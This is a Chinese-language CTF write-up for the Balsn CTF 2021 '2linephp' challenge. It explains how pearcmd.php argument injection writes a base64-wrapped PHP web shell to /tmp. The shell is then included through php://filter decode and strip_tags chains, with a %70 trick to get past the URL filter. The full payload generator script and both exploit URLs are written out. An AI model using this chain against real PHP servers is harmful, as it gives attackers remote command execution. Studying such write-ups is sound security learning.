【Balsn CTF 2021】2linephp 题目复现

题目

<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

解析

pear是PHP扩展与应用的命令行工具,用于管理 PHP 包的安装、升级、配置及依赖关系,通过$_SERVER[’argv’](register_argc_argv开启时生效)传递参数。pearcmd.php是pear的核心实现文件。在文件包含中,可以利用pearcmd.php远程拉取或本地创建恶意php文件,并进行文件包含。pearcmd.php的默认路径:/usr/local/lib/php/pearcmd.php。

题解

查看环境配置,发现启用了pear和register_argc_argv,由于题目包含的文件开头需要是<?php,可以利用pearcmd.php进行文件包含。

在本地环境中通过执行【pear -c 自定义配置文件路径 -d man_dir=临时设置配置项 -s】创建自定义配置文件,其中man_dir则是恶意代码部分,通过以下代码生成man_dir的值。

from base64 import *

payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload) # PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7
print(b64encode(b'abc>'+enc+b'<abc'))
# 运行结果:
#YWJjPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYmM=

以此构造第一个payload,注意url中不要有=:

?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/shell.php+-d+man_dir=YWJjPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYmM+-s

其中&后是利用argv调用命令,+是作为argv的分隔符,在低权限的/tmp中创建shell.php文件。

利用php伪协议对shell.php进行处理和包含,构造第二个payload:

?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/shell&cmd=/readflag

由于$_SERVER['REQUEST_URI']获取url不会对其进行解码,用%70代替p绕过stripos($_,"p:")。

上传第一个payload后,shell.php内容如下:

#PEAR_Config 0.9

a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:59:"YWJjPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYmM";}

base64-decode会忽略非base64编码部分,第一次base64-decode后,大致会变为:

#PEAR_Config 0.9

a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:59:"abc>PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7<abc";}

string.strip_tags会从字符串中剥离HTML、XML和PHP标签,过滤后得到:

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7

第二次base64-decode后,得到最终包含的内容:

<?php system($_GET["cmd"]);

备注

这道题不太适合用pear远程下载文件的方式,pear的install命令中,远程地址需要用http://或https://开头,而不能有url编码,这就无法绕过stripos($_,"p:")和stripos($_,"s:")。

参考

WriteUp参考:

https://blog.maple3142.net/2021/11/21/balsn-ctf-2021-writeups/

pearcmd.php利用参考:

https://blog.youkuaiyun.com/rfrder/article/details/121042290

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值